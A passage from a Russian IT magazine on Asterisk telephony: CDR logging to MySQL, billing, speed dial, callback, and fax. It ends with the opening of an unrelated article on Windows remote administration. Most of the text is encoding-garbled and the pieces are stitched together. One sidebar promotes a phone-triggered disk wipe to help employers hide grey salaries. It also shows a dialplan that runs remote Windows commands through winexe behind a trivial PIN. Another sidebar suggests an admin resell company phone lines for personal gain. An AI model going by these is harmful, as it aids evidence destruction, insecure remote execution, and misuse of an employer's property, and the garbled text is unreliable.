èç 10 åãî ïðèäåòñÿ àäàïòèðîâàòü ê êîíêðåòíûì óñëî-
âèÿì. Êàê áû ñòðàííî íè ïðîçâó÷àëî, çà÷àñòóþ ïðîùå  

íàïèñàòü áèëëèíãîâóþ ñèñòåìó èëè ó÷åò ðàçãîâîðîâ 
ñàìîìó, òåì áîëåå, â ïîñòàâêå Asterisk âñå äëÿ ýòîãî 
èìååòñÿ.
Asterisk ñîõðàíÿåò äàííûå î êàæäîì âûçîâå â CDR-ôàéë 
(Call Detail Record). Òàêèå çàïèñè ñîäåðæàò — CallerID, íà-
ïðàâëåíèå, êàíàë, âðåìÿ íà÷àëà âûçîâà, îòâåòà àáîíåíòà 
è îêîí÷àíèÿ, ïðîäîëæèòåëüíîñòü ïåðåãîâîðîâ, ðåçóëüòàò 
è íåêîòîðûå äðóãèå ñâåäåíèÿ. Ïî óìîë÷àíèþ Asterisk 
ãåíåðèðóåò îò÷åò â CSV-ôàéë, íî î÷åíü ïðîñòî ïîäêëþ-
÷èòü âûâîä CDR â áàçû MySQL, PostgreSQL, unixODBC, 
RADIUS. Åñëè ðàíåå ýòîãî íå áûëî ñäåëàíî, òî äëÿ èì-
ïîðòà çàïèñåé èç CSV-ôàéëà â MySQL èñïîëüçóé ñêðèïò, 
êîòîðûé íàéäåøü íà ïðèëàãàåìîì ê æóðíàëó äèñêå (ñàì 
ñêðèïò ðàçìåùåí ïî àäðåñó www.voip-info.org/wiki/view/
Asterisk+CDR+csv+mysql+import).
Äëÿ ïîääåðæêè MySQL Asterisk íóæíî ñîáðàòü ñ ïîääåðæ-
êîé ýòîé ÑÓÁÄ. Ïî ëèöåíçèîííûì ñîîáðàæåíèÿì ñîîò-
âåòñòâóþùèé ìîäóëü âûíåñëè â AddOns. Ïðè óñòàíîâêå 
Asterisk èç ðåïîçèòàðèÿ ñâîåãî äèñòðèáóòèâà äîñòàòî÷íî 

äîáàâèòü â ñèñòåìó íóæíûé ïàêåò. Â Debian/Ubuntu êî-
ìàíäà äëÿ ýòîãî ïðîñòà:

$ sudo apt-get install asterisk-mysql

Çàòåì ñîçäàåì áàçó äàííûõ è íàïîëíÿåì åå òàáëèöàìè:

$ mysql -uroot -p

mysql> CREATE DATABASE asterisk;

mysql> GRANT ALL PRIVILEGES ON asterisk.* 

TO asteriskuser@localhost IDENTIFIED BY 

'astpassw';

Ïðèìåð äëÿ ñîçäàíèÿ òàáëèö ÁÄ ìîæíî íàéòè â äîêóìåí-
òàöèè Asterisk â ôàéëå cdr_mysql.txt (â Ubuntu îí ëåæèò â 
/usr/share/doc/asterisk-mysql).

Ïîäêëþ÷àåì âûâîä CDR â MySQL, óêàçàâ ïàðàìåòðû 
ïîäêëþ÷åíèÿ ê ñåðâåðó è áàçå äàííûõ «asterisk»:

$ sudo nano /etc/asterisk/cdr_mysql.conf

[global]

hostname=localhost

dbname=asterisk

table=cdr

password=astpassw

user=asteriskcdruser

port=3306

ИНТЕРФЕЙС FREEPBX ПОЗВОЛЯЕТ В УДОБ-
НОЙ ФОРМЕ НАСТРОИТЬ БОЛЬШИНСТВО 
ПАРАМЕТРОВ ASTERISK 

АНАЛИЗ CDR-ЗАПИСЕЙ В ASTERISK QUEUE/CDR LOG ANALYZER

• Биллинговые сис-
темы для Asterisk 
— A2billing (www.
asterisk2billing.org), 
Asterisell (asterisell.
profitoss.com).

• Программы 
для анализа 
CDR записей — 
Asterisk Queue/
CDR Log Analyzer 
(www.micpc.com/
qloganalyzer), 
Asterisk-Stat (www.
areski.net/asterisk-
stat-v2).

• Примеры кон-
фигурационных 
файлов Asterisk 
— asteriskpbx.ru/
browser/astpbx/etc/
asterisk.

links

HTTP://WWW

Ïðîäàþ Óêðàè-
íó, Áåëîðóññèþ, 
Êàçàõñòàí
Åùå îäèí âàðèàíò çàðàáîòêà: ìîæíî ïðîäàâàòü 
ñâîáîäíûå òåëåôîííûå ëèíèè íà ðàçíûå íàïðàâ-
ëåíèÿ. Äîïóñòèì, öåíòðàëüíûé îôèñ êîìïàíèè 
íàõîäèòñÿ â Ðîññèè (Ìîñêâå), à äèëåðñêèå îòäåëû 
íà Óêðàèíå, â Áåëîðóññèè è Êàçàõñòàíå. Â êàæäîì 
ôèëèàëå, åñòåñòâåííî, åñòü òåëåôîííûå ëèíèè 
ìåñòíûõ îïåðàòîðîâ. Àäìèí öåíòðàëüíîãî îôèñà 
ìîæåò ïðîäàâàòü çíàêîìûì çâîíêè â ýòè ñòðàíû 
ïî äåøåâûì òàðèôàì. «Çíàêîìûé» ðåãèñòðèðóåò-
ñÿ íà Asterisk è çâîíèò ÷åðåç VoIP-ñåòü ïî ïðå-
äîñòàâëåííûì íàïðàâëåíèÿì. Äëÿ êîíòîðû ýòî 
áóäóò ìåñòíûå çâîíêè, êîòîðûå íå òàðèôèöèðóþò-
ñÿ, à àäìèíó — ëèøíÿÿ êîïåå÷êà.
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sock=/tmp/mysql.sock

Çàãðóçèì íóæíûé ìîäóëü ÷åðåç êîíñîëü 
Asterisk:

$ asterisk -r

CLI> module load cdr_addon_mysql.so

Â ñëó÷àå ïðàâèëüíûõ íàñòðîåê óâèäèì 

çàïèñü î çàãðóçêå ìîäóëÿ è ïîäêëþ÷å-
íèè ê ÁÄ, ïðîñìîòðåòü åãî ñîñòîÿíèå 
ìîæíî ïðè ïîìîùè êîìàíäû «cdr mysql 
status». ×òîáû ìîäóëü çàãðóæàëñÿ àâ-
òîìàòè÷åñêè ïîñëå ðåñòàðòà Asterisk, 
äîáàâèì â /etc/asterisk/modules.conf 
ñòðîêó:

load = cdr_addon_mysql.so

 Âñå, òåïåðü âåäåòñÿ ïðîòîêîëèðîâàíèå çâîí-
êîâ è ìîæíî óïðàâëÿòü âûáîðêîé ïî ñâîåìó 
óñìîòðåíèþ. ×òîáû äàòü çàäàíèå MySQL, 
ñëåäóåò èñïîëüçîâàòü â äèàëïëàíå îäíîèìåí-
íóþ êîìàíäó. Ïðèìåðíî òàê:

$ sudo nano /etc/asterisk/extensions.conf

; Ïîäêëþ÷àåìñÿ ê áàçå äàííûõ

exten => _X.,1,MYSQL(Connect 

connid localhost asterisk astpassw 

asterisk)

; Ñóììèðóåì âñå çâîíêè, ïðîèçâåäåí-

íûå àáîíåíòîì (â billsec îíè õðàíÿò-

ñÿ â ñåêóíäàõ), ðåçóëüòàò çàïðîñà 

ñîõðàíÿåòñÿ â ïåðåìåííîé ${resultid}

exten => _X.,2,MYSQL(Query resultid 

${connid} SELECT SUM(billsec) FROM 

cdr WHERE src=\'${CALLERID(num)}\')

; Ñîõðàíÿåì ðåçóëüòàò â billing, â 

found áóäåò 1, åñëè çàïðîñ âîçâðàòèë 

ðåçóëüòàò

exten => _X.,3,MYSQL(Fetch found 

${resultid} billing)

; Î÷èùàåì ïåðåìåííóþ

exten => _X.,4,,MYSQL(Clear 

${resultid})

; Ïðîâåðÿåì, âûïîëíåí ëè çàïðîñ, 

åñëè íåò — âûõîäèì

exten => _X.,5,GotoIf($["${found}" = 

"1"]?true:false)

; Ïðîâåðÿåì êîëè÷åñòâî âðåìåíè è, 

åñëè îíî ìåíüøå îïðåäåëåííîãî çíà÷å-

íèÿ, ðàçðåøàåì ïîçâîíèòü

 123 

Óïðàâëåíèå êîìïüþòåðîì 
ïðè ïîìîùè Asterisk
Èñïîëüçîâàíèå â äèàëïëàíå ôóíêöèè System() îòêðûâàåò ïîèñòèíå øèðîêèå âîç-
ìîæíîñòè ïî óïðàâëåíèþ ëþáûì ñåðâåðîì ñ ïîìîùüþ òåëåôîíà. Ïðîöåññ ïðîñò — 
íàáèðàåì íîìåð, çàòåì ïàðîëü, è Asterisk âûïîëíÿåò çàðàíåå îïðåäåëåííóþ 
êîìàíäó. Íàïðèìåð, î÷åíü ïðîñòî ðåàëèçîâàòü «êðàñíóþ êíîïêó», ïîëíîñòüþ 
óäàëÿþùóþ äàííûå ñ õàðäà (ðàáîòîäàòåëè, âåäóùèå ÷åðíûå è ñåðûå çàðïëàòû, 
áóäóò òåáå î÷åíü ïðèçíàòåëüíû :)). Ïðîãðàìì äëÿ «î÷èñòêè» äèñêà â èíòåðíåòå 
ìîæíî íàéòè íåâåðîÿòíîå êîëè÷åñòâî. À ëèíóêñîâàÿ óòèëèòà winexe (eol.ovh.
org/winexe) ïîçâîëÿåò óäàëåííî âûïîëíÿòü êîìàíäû â Windows NT/2k/XP/2k3. 
Ñòàâèì åå â Linux-ñèñòåìó, íà êîòîðîé ðàáîòàåò Asterisk, è ñîçäàåì ïðîñòåíüêèé 
äèàëïëàí:

exten => s,n,Read(auth||4||1|5)

exten => s,n,GotoIf($["${auth}" = "000"]?yes:no) ; ïàðîëü

exten => s,n(yes),System(winexe -U <DOMAIN>/<user>%<password> //<host> 

"c:\script.bat" >>/var/log/asterisk/win.log)

exten => s,n(no),Hangup()

Íà óäàëåííîì õîñòå áóäóò âûïîëíåíû âñå êîìàíäû, îïèñàííûå â ôàéëå script.bat.

СМОТРИМ ВОЗМОЖНОСТИ ASTERISK
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SYN/ACKSYN/ACK

exten => _X.,6,GotoIf($["${billing}" < 

"âðåìÿ"]?call:end)

exten => _X.,7,n(call),Dial(çâîíèì)

exten => _X.,8,,MYSQL(Clear ${resultid})

exten => _X.,9,n,Hangup()

exten => _X.10,n(false),Playback(end)

exten => _X.1,n,Hangup()

; Îáÿçàòåëüíî îòêëþ÷àåìñÿ îò ÁÄ, èíà÷å ïðîöåññ áóäåò 

âèñåòü â ïàìÿòè, è áûñòðî èñ÷åðïàåòñÿ ëèìèò ïîäêëþ÷åíèé 

ê MySQL

exten => h,1,MYSQL(Disconnect ${connid})

Ôîðìàò äàííûõ ìîæíî ïîñìîòðåòü, âûïîëíèâ SQL-çàïðîñ. Ñêàæåì, 
äëÿ íîìåðà 123:

SELECT SUM(billsec) FROM ̀ asterisk`.`cdr` WHERE 

src='123'

Ïðèìåð, êîíå÷íî, ñàìûé ïðîñòîé. SQL-çàïðîñ â áîëåå ñëîæíîì áèë-
ëèíãå áóäåò ñîäåðæàòü áîëüøåå êîëè÷åñòâî ïîëåé. Êðîìå òîãî, äëÿ 
õðàíåíèÿ ïðîìåæóòî÷íûõ ðåçóëüòàòîâ ëó÷øå èñïîëüçîâàòü äîïîëíè-
òåëüíûå òàáëèöû. Âàðèàíòîâ äîñòàòî÷íî ìíîãî, íî ãëàâíîå — ïîíÿòü 
ïðîöåññ. Çà îñíîâó ñâîåé ñèñòåìû ìîæíî âçÿòü ñóùåñòâóþùèå ñèñòåìû 
áèëëèíãà. ×òîáû íå âêëþ÷àòü SQL-çàïðîñû â ýêñòåíøåí, ïðîùå çàïè-
ñàòü èõ â AGI-ñêðèïò, êîòîðûé è âûïîëíÿòü â ñëó÷àå íåîáõîäèìîñòè.
Òàêæå íå çàáûâàåì î ñïåöèàëüíûõ àíàëèçàòîðàõ CDR-çàïèñåé. Íàïðè-
ìåð, Asterisk Queue/CDR Log Analyzer (www.micpc.com/qloganalyzer) 
èëè Asterisk-Stat (www.areski.net/asterisk-stat-v2).

ЭКОНОМИЯ НА ТЕЛЕФОНАХ Asterisk ïîçâîëÿåò ïðîãðàììíî 
ýìóëèðîâàòü ôóíêöèè, äîñòóïíûå â áîëåå äîðîãèõ ìîäåëÿõ òå-
ëåôîíîâ. Çà ñ÷åò ýòîãî ìîæíî íåìíîãî ñýêîíîìèòü ïðè ïîêóï-
êå àïïàðàòîâ, à åñëè èìè óæå çàâàëåí îôèñ, òî ñäåëàòü ðàáîòó 
ïîëüçîâàòåëåé óäîáíåå. Íàïðèìåð, ÷òîáû íå ìó÷èòü ñîòðóäíèêîâ 
êîìïàíèè çàïîìèíàíèåì äëèííûõ íîìåðîâ, èñïîëüçóþò ñîêðà-
ùåííûé íàáîð (speed dial), òî åñòü íàçíà÷àþò äëèííîìó è, êàê 
ïðàâèëî, ÷àñòî èñïîëüçóåìîìó íîìåðó, êîðîòêóþ êîìáèíàöèþ èç 
2-3 öèôð. Ïðèìåðíî, òàê:

exten => *01,1,Dial(SIP/íóæíûé_íîìåð@${TRUNK},20)

Êñòàòè, ìíîãèå ñîôòîôîíû ïîääåðæèâàþò áóêâåííûé íàáîð:

exten => lenok,1,Dial(SIP/server2/79101234567,20)

Òåïåðü òàêàÿ ñèòóàöèÿ. Êòî-òî ïîçâîíèë, íî ìåíåäæåð íå óñïåë ïîä-
íÿòü òðóáêó. Êëèåíò ìîæåò îñòàòüñÿ íåäîâîëüíûì è íàáðàòü øåôà, 

êîòîðîìó ñêàæåò âñå, ÷òî äóìàåò î ðàáîòå ñåðâèñà. Òåëåôîí ñ ÀÎÍ èëè 
ñîôòîôîí ïîçâîëÿåò óâèäåòü íîìåð çâîíèâøåãî è íàáðàòü åãî (recall), 
ïðîñòûå æå àïïàðàòû ÷àñòî ëèøåíû òàêîé ôóíêöèè. Èñïîëüçóÿ âîç-
ìîæíîñòü çàïèñè â áàçó Asterisk èç äèàëïëàíà, ëåãêî ðåàëèçîâàòü âñå 
ñàìîìó.
Äëÿ ïðèìåðà îáåñïå÷èì âîçìîæíîñòü âûçîâà ïîñëåäíåãî çâîíèâøåãî 
àáîíåíòà êîìáèíàöèåé «*22», èëè îðãàíèçóåì åìó Callback ïðè íàæà-
òèè «*21».

$ sudo nano /etc/asterisk/extensions.conf

[IncomingCall]

; Çàïîìèíàåì íîìåð çâîíèâøåãî

exten => _5XX,1,Set(_To=${EXTEN})

exten => _5XX,n,Set(_From=${CALLERID(num)})

; Ñîõðàíÿåì íîìåð äëÿ áûñòðîãî âûçîâà êîìáèíàöèåé *22

exten => _5XX,n,Set(DB(${To}/LastCaller)=${From})

; Ñîõðàíÿåì äëÿ âûçîâà *21

exten => _5XX,n,Set(DB(${From}/LastCalled)=${To})

; Çâîíèì

exten => _5XX,n,Dial(SIP/${EXTEN},20)

exten => _5XX,n,Hangup()

; Ïî *22 óñëûøèì íîìåð, ïîñëå ÷åãî çâîíèì

exten => *22,1,Set(tmp=${DB(${CALLERID(num)}/

LastCaller})

exten => *22,n,SayDigits(${tmp})

exten => *22,n,Dial(${tmp},1)

; Òåïåðü íîìåð *21

exten => *21,1,Set(tmp=${DB(${CALLERID(num)}/

LastCalled)})

exten => *21,n,SayDigits(${tmp})

exten => *21,n,Set(DB(${tmp}/

CallBack)=${CALLERID(num)})

exten => *21,n,Hangup()

À âîò òàê ìîæíî ðåàëèçîâàòü âîçìîæíîñòü ïîâòîðíîãî íàáîðà íîìåðà 
ïîñëåäíåãî âûçâàííîãî àáîíåíòà (re-dial):

[default]

include => macro-recall

exten => _X.,1,Macro(recall,${EXTEN})

exten => *0,1,DBget(toCall=redial/${CALLERID})

exten => *0,2,Macro(recall,${toCall})

exten => *0,102,Hangup()

[macro-recall]

exten => s,1,DBput(redial/${CALLERID}=${ARG1})

exten => s,1,Dial(SIP/${ARG1},20)

exten => s,2,Goto(s-${DIALSTATUS},1)

exten => s-NOANSWER,1,Voicemail(u${ARG1})

СОЕДИНЕНИЕ ДВУХ СЕРВЕРОВ ASTERISK ПО ПРОТО-
КОЛУ SIP

Ëèìèòèðóåì ïóñòûå 
ðàçãîâîðû
Åñëè ìû çíàåì, ÷òî ñåêðåòàðøà ëþáèò çà ñ÷åò êîíòîðû ïîòðå-
ïàòüñÿ ñî ñâîåé ïîäðóãîé èç Âëàäèâîñòîêà (òåëåôîííûé êîä 
4232), òî ïðè âûçîâå íàáèðàåì íîìåð ïîäðóæêè (äîïóñòèì, 
102030), íî îãðàíè÷èâàåì ïðîäîëæèòåëüíîñòü çâîíêà äåñÿ-
òüþ ìèíóòàìè (600000 ìñ). Ïðåäóïðåæäàåì âûçûâàþùåãî 
àáîíåíòà (ñåêðåòóòêó) î ðàçðûâå ñîåäèíåíèÿ ÷åðåç 5 ìèíóò 
(300000 ìñ) è ïîâòîðÿåì îïîâåùåíèå êàæäóþ ìèíóòó (60000 
ìñ):

exten => _84232102030,1,Dial(SIP/8${EXTEN}@${OUTGOING},

,L[600000:300000:60000])
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exten => s-

BUSY,1,Voicemail(b${ARG1})

exten => _s-.,1,Goto(s-NOANSWER,1)

Ïðèìåðû, êîíå÷íî, íåñêîëüêî óïðîùåíû, íî 
ãëàâíîå ïîíÿòü ñóòü è âîçìîæíîñòè Asterisk.
Íå çàáûâàåì î ôóíêöèÿõ ïàðêîâêè âûçîâà 
(Call Parking) è ïåðåõâàòà âûçîâà äðóãîìó 
àáîíåíòó (Call Pickup), êîòîðûå ïîääåðæè-
âàþòñÿ â ñòàíäàðòíîé èíñòàëëÿöèè Asterisk. 
Ýêñòåíøåí äëÿ Call Parking ìîæíî óçíàòü, 
ïðîñìîòðåâ çíà÷åíèÿ parkext è parkpos â 
ôàéëå features.conf:

[general]

; Ýêñòåíøåí äëÿ ïàðêîâêè

parkext => 700

; Ñëîòû äëÿ ïàðêîâêè

parkpos => 701-720

Ïðè÷åì ïàðêîâêó âûçîâà ìîæíî èñïîëüçî-

âàòü è íå ïî ïðÿìîìó íàçíà÷åíèþ, íàïðèìåð, 
÷òîáû ïîñòàâèòü çâîíîê íà óäåðæàíèå (Ñall 

hold) äëÿ êîðîòêîé êîíñóëüòàöèè ñ äðóãèì 
ñïåöèàëèñòîì. Äëÿ âûçîâà Call Pickup îáû÷íî 
èñïîëüçóåòñÿ êîìáèíàöèÿ «*8».

ЭКОНОМИМ НА ФАКСИМИЛЬНЫХ 
АППАРАТАХ Êàçàëîñü áû, ÷åãî ïðîùå — îò-
ñêàíèðîâàòü äîêóìåíò è îòïðàâèòü ïî e-mail! 
Àí íåò, ôàêñèìèëüíàÿ ñâÿçü æèâà è, ñóäÿ ïî 

âñåìó, æèòü áóäåò åùå äîëãî. Ïðè÷èíû áà-
íàëüíû: ðàñïðîñòðàíåííîñòü îáîðóäîâàíèÿ, 
äîñòóïíîñòü ëèíèé ñâÿçè è ñëîæèâøèåñÿ ïðè-

âû÷êè. Ïîýòîìó ïðèõîäèòñÿ ïîäñòðàèâàòüñÿ. 
Äëÿ ïåðåäà÷è ôàêñà ïî IP-ñåòÿì (FoIP, Fax over 
IP) èñïîëüçóþòñÿ äâå òåõíîëîãèè: Ò.37 è T.38. 
Ïåðâàÿ îïðåäåëÿåò ôîðìàò äàííûõ è ïðîöåññ 
ïåðåäà÷è ñîîáùåíèÿ ïîñðåäñòâîì e-mail ñ 

ïðåäâàðèòåëüíûì åãî ñîõðàíåíèåì. Âòîðîé 
ñòàíäàðò îïèñûâàåò ïðîöåññ ïåðåäà÷è ôàêñà â 
ðåàëüíîì âðåìåíè. Òåõíîëîãèÿ T.38 èíòåðåñó-

åò íàñ ñåãîäíÿ â áîëüøåé ñòåïåíè.
Ïåðåäà÷à ôàêñà ïî VoIP-ñåòÿì — íå òàêàÿ 
óæå è ïðîñòàÿ çàäà÷à, êàê êàæåòñÿ íà ïåðâûé 
âçãëÿä: êîäåêè, àäàïòèðîâàííûå äëÿ ðàáîòû ñ 
ãîëîñîì, è ôóíêöèè ïîäàâëåíèÿ øóìîâ èñêà-
æàþò ñèãíàë ôàêñà, à çàäåðæêè, õàðàêòåðíûå 
äëÿ IP-ñåòåé, íå äàþò íîðìàëüíî ïðèíÿòü 
ñèãíàë (àïïàðàòû ïðîñòî íå àäàïòèðîâàíû 
äëÿ ýòîãî). Â ðåêîìåíäàöèÿõ ê Ò.38 ñêàçàíî, 
÷òî ìîæíî èñïîëüçîâàòü êàê UDP, òàê è TCP 
ïðîòîêîë. Îäíàêî âî èçáåæàíèå èçäåðæåê 
÷àùå ïðèìåíÿþò èìåííî UDP, êîìïåíñèðóÿ 
âîçìîæíûå ïîòåðè ââåäåíèåì èçáûòî÷íîñòè. 
Â êà÷åñòâå êîäåêà ïðè ïåðåäà÷å ïî VoIP íàñòî-
ÿòåëüíî ðåêîìåíäóåòñÿ èñïîëüçîâàòü G.711.

Â Asterisk ïîääåðæêà Ò.38 ïîÿâèëàñü äàëåêî 
íå ñðàçó: âíà÷àëå áûëè äîñòóïíû îòäåëüíûå 

ïàò÷è, çàòåì íåêîòîðûå ôóíêöèè âêëþ÷èëè 
â èñõîäíûé êîä. Â ðåçóëüòàòå Asterisk 1.4.20.1 

ïîääåðæèâàåò òîëüêî ïðîçðà÷íûå T.38-ñåññèè 
íà SIP-êàíàëàõ. Ïîýòîìó äî íåäàâíåãî âðå-

ìåíè áûëè ïîïóëÿðíû ñëåäóþùèå âàðèàíòû 
ðåàëèçàöèè: èñïîëüçîâàíèå ìîäóëåé RxFAX/

TxFAX, èõ àíàëîã SendFAX/ReceiveFAX (îáà 
èñïîëüçóþò SpanDSP, soft-switch.org) èëè 
HylaFax + iaxmodem (êàê âàðèàíò, Ò.37). 
Çàòåì â asterisk-addons áûë äîáàâëåí êîä äëÿ 
ðàáîòû ñ áèáëèîòåêîé SpanDSP, ïîçâîëÿþùåé 
îòïðàâëÿòü è ïîëó÷àòü ôàêñû ïî G711-êàíàëó. 
À óæå ñ 1.6.0 êîä äëÿ ðàáîòû ñ áèáëèîòåêîé 

SpanDSP áûë âêëþ÷åí â îñíîâíóþ âåòêó 
(ðåàëèçîâàíî ïîñðåäñòâîì ìîäóëÿ app_fax). 
Ïðàâäà, ïåðâîå âðåìÿ åãî èñïîëüçîâàíèå 

âûçûâàëî ìíîæåñòâî îøèáîê, íî áîëüøóþ 
÷àñòü èç íèõ ðàçðàáîò÷èêè óñòðàíèëè â âåðñèè 
1.6.2. Ïîìèìî ýòîãî, áûë ïåðåïðîåêòèðîâàí 
ñàì ïðîöåññ óñòàíîâëåíèÿ ñâÿçè ïî T.38, è â ðå-
çóëüòàòå Asterisk ìîæåò ïîëó÷àòü è ïðèíèìàòü 

ôàêñû ïî G711 è T.38. Â íà÷àëå àïðåëÿ 2009 
êîìïàíèÿ Digium ïðåäñòàâèëà ìîäóëè Fax 
For Asterisk (res_fax è res_fax_digium, digium.

com/en/products/software/faxforasterisk.

php), êîòîðûå ïîçâîëÿþò ðàáîòàòü ñ ôàêñàìè 
êàê ÷åðåç òåëåôîííóþ ëèíèþ, òàê è ïî IP-
ñåòè. Ïîäêëþ÷åíèå ê îäíîé ôàêñîâîé ëèíèè 
áåñïëàòíî, çà äîïîëíèòåëüíûå íóæíî ïëàòèòü 
(êàæäàÿ ëèöåíçèÿ ïî $38.50). Ê âåðñèè 1.8 
ïëàíèðóåòñÿ ïîëíîñòüþ ïåðåâåñòè Asterisk 
íà Fax For Asterisk (êîä êîòîðîãî â íàñòîÿùåå 
âðåìÿ îòêðûò), çàìåíèâ ìîäóëü app_fax. Êàê 
âèäèøü, âàðèàíòîâ ðåàëèçàöèè íåñêîëüêî, 
÷òî óæå âûçûâàåò ïóòàíèöó. Ðàññìîòðèì, ÷òî 
èäåò â ñòàíäàðòíîé ïîñòàâêå. Â ðåïîçèòàðèÿõ 
äèñòðèáóòèâîâ, âåðîÿòíî, óæå èìååòñÿ ìîäóëü 
äëÿ ðàáîòû ñ ôàêñîì, íî, ÷òîáû ñâåñòè ê ìèíè-
ìóìó êîëè÷åñòâî âîçìîæíûõ îøèáîê, ëó÷øå 
èñïîëüçîâàòü ïîñëåäíþþ âåðñèþ Asterisk è 
SpanDSP. Ïîñëåäíèé ñòàâèòñÿ îáû÷íûì îáðà-
çîì (ïîòðåáóåòñÿ libtiff), çàòåì íóæíî ñîáðàòü 
Asterisk ñ ïàðàìåòðîì «--with-spandsp». Íà 
ýòàïå «make menuselect» ìîæíî ïðîñìîòðåòü 
íàëè÷èå ìîäóëÿ app_fax (â Applications). Ïîñ-
ëå óñòàíîâêè ñìîòðèì ñïèñîê ïðèëîæåíèé:

$ sudo asterisk -r

CLI>core show applications like fax

ReceiveFAX: Receive a FAX

SendFAX: Send a FAX

Ïåðåõîäèì ê íàñòðîéêå.

$ sudo nano /etc/asterisk/sip.conf

[general]

t38pt_udptl = yes

Ïèøåì ýêñòåíøåíû:

$ sudo nano /etc/asterisk/

extensions.conf

exten => _5,n,Dial(${TRUNK_SIP}/

õõõ,120,M(sendfax))

; Îòïðàâêà

[macro-sendfax]

exten => _X.,1,Set(FAXFILE=//var/

spool/asterisk/fax/fax)

exten => _X.,n,SendFAX(${FAXFILE}.

tif)

exten => _X.,n,Hangup

; Ïðèåì

[macro-receivefax]

exten => _X.,1,Answer()

exten => _X.,n,Wait(3)

exten => 

_X.,n,ReceiveFAX(faxfilename)

Ìèññèÿ âûïîëíåíà, Asterisk íàó÷èëñÿ ðàáî-
òàòü ñ ôàêñàìè.

ЗАКЛЮЧЕНИЕ Íåìíîãî îòîéäÿ îò ñòàí-
äàðòíîé ñõåìû èñïîëüçîâàíèÿ Asterisk, 
ìîæíî ñäåëàòü ìíîãî ÷åãî ïîëåçíîãî è 

èíòåðåñíîãî, â òîì ÷èñëå, è ñ ôèíàíñîâîé 
òî÷êè çðåíèÿ. Êîíå÷íî, ïðèäåòñÿ ýêñïå-
ðèìåíòèðîâàòü è ïîäáèðàòü îïòèìàëüíûå 

íàñòðîéêè, íî çàòî ïîòîì äèðåêöèÿ áóäåò â 
âîñòîðãå. z

КОМАНДА «MAKE MENUSELECT» ПОКАЖЕТ НАЛИЧИЕ APP_FAX
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Инструментарий, позволяющий выполнить команду на удаленных систе-
мах, существенно упрощает работу админа. Не покидая рабочего места, 
можно запустить сервис, изменить настройки, диагностировать и испра-
вить проблему. Популярность задачи обуславливает множество вариан-
тов ее решения.

Незримое 
присутствие

АДМИН ДОЛЖЕН БЫТЬ ЛЕНИВ!  Ôóíêöèè 
óäàëåííîãî óïðàâëåíèÿ, ðåàëèçîâàííûå â 
WinNT, áûëè âåñüìà îãðàíè÷åíû è íàãîíÿëè 
òîñêó äàæå íà ïðûòêîãî àäìèíà. Áîëüøèíñòâî 
îïåðàöèé ïðèõîäèëîñü âûïîëíÿòü çà ëîêàëü-
íîé êîíñîëüþ, è ýòî, êñòàòè, âî âðåìåíà, êîã-
äà â Unix âîîáùå íå ÷óâñòâîâàëîñü ðàçíèöû, ñ 
êàêèì ñåðâåðîì òû ñåé÷àñ ðàáîòàåøü — óäà-
ëåííûì èëè ëîêàëüíûì. Íî ñ êàæäîé íîâîé 
âåðñèåé è ñåðâèñ-ïàêîì âîçìîæíîñòè ÎÑ 
ðàñøèðÿëèñü, è â íàñòîÿùåå âðåìÿ êîëè÷åñò-

âî äîñòóïíûõ ðåøåíèé âîçðîñëî íà ïîðÿäîê. 
Àäìèíèñòðàòîð ìîæåò óïðàâëÿòü ñèñòåìà-

ìè ïðè ïîìîùè ñöåíàðèåâ WSH (Windows 
Script Host) è PowerShell, êîìàíäíîé ñòðîêè 

WinRS (Windows Remote Shell), êîíñîëè MMC 
(Microsoft Management Console), ïðîãðàììíî-

ãî èíòåðôåéñà WMI (Windows Management 
Instrumentation), ãðóïïîâûõ ïîëèòèê è 

ñðåäñòâ óäàëåííîãî äîñòóïà ê ðàáî÷åìó ñòîëó 
RDP (Remote Desktop Protocol). Ýòîò ñïèñîê 
ìîæíî äîïîëíèòü èíñòðóìåíòàìè è óòèëè-

òàìè ñòîðîííèõ ðàçðàáîò÷èêîâ, íî ñåãîäíÿ 
õîòåëîñü áû ïîäðîáíî îñòàíîâèòüñÿ èìåííî 
íà øòàòíûõ âîçìîæíîñòÿõ, ïîñêîëüêó çàëî-
æåííîãî ôóíêöèîíàëà ñ ãîëîâîé õâàòàåò äëÿ 
ðåøåíèÿ áîëüøèíñòâà àäìèíèñòðàòèâíûõ 

çàäà÷ â ìàëûõ è ñðåäíèõ ñåòÿõ, è, ÷òî íåìàëî-
âàæíî, çà íèõ íå íóæíî îòäåëüíî ïëàòèòü.

CАМЫЙ ПРОСТОЙ ВАРИАНТ ПОДКЛЮЧЕНИЯ 
— ПО RDP Ïîëüçîâàòåëü, ïîäêëþ÷èâøèéñÿ ê 
óäàëåííîìó êîìïüþòåðó ïî ïðîòîêîëó RDP, 
ïîëó÷àåò ïðàêòè÷åñêè òå æå âîçìîæíîñòè, 

÷òî è ïðè ðàáîòå çà ëîêàëüíîé ñèñòåìîé — 
äîñòóï ê ïðîãðàììàì, äèñêàì, ñåòè, ïå÷àòè, 
çâóêîâûì óñòðîéñòâàì è ò.ï. Â Vista, ïîìèìî 

óëó÷øåíèé â îòîáðàæåíèè øðèôòîâ è ïîä-

äåðæêè 32 ðàçðÿäíîé êàðòèíêè, ïîÿâèëàñü 
î÷åíü óäîáíàÿ ôóíêöèÿ ðàñòÿãèâàíèÿ ðàáî-
÷åãî ñòîëà óäàëåííîãî êîìïüþòåðà íà âñå ìî-
íèòîðû, ïîäêëþ÷åííûå ê ëîêàëüíîé ñèñòåìå 
(mstsc /span). Âåðñèÿ RDP 7, àíîíñèðîâàííàÿ 
â Win7/2k8R2, äîáàâèëà åùå ðÿä âîçìîæíîñ-
òåé, íàïðèìåð, ïîÿâèëàñü ïîääåðæêà Aero, 
Direct2D è Direct3D â ïðèëîæåíèÿõ.
Êëèåíòû äëÿ ïîäêëþ÷åíèÿ ïî RDP èìåþòñÿ â 
áîëüøèíñòâå ïîïóëÿðíûõ ÎÑ — îíè âñòðîåíû 
â Windows (â òîì ÷èñëå Windows CE è Mobile), 

Linux, xBSD, Mac OS X è íåêîòîðûå äðóãèå. Â 
÷àñòíîñòè, òåðìèíàëüíûé êëèåíò rdesktop 

(rdesktop.org) îôèöèàëüíî ïîääåðæèâàåò 
âñå ÎÑ âïëîòü äî Win2k8 (ñ ïîäêëþ÷åíèåì 
ê Win2k8R2 ïðîáëåì òàêæå íå áóäåò). Â 

Linux â ïàðå ñ rdesktop óäîáíåå èñïîëüçîâàòü 
ãðàôè÷åñêóþ îáîëî÷êó Gnome-RDP èëè KDE 

Remote Desktop Client. Åùå îäíà íàäñòðîéêà — 
SeamlessRDP (www.cendio.com/seamlessrdp) — 
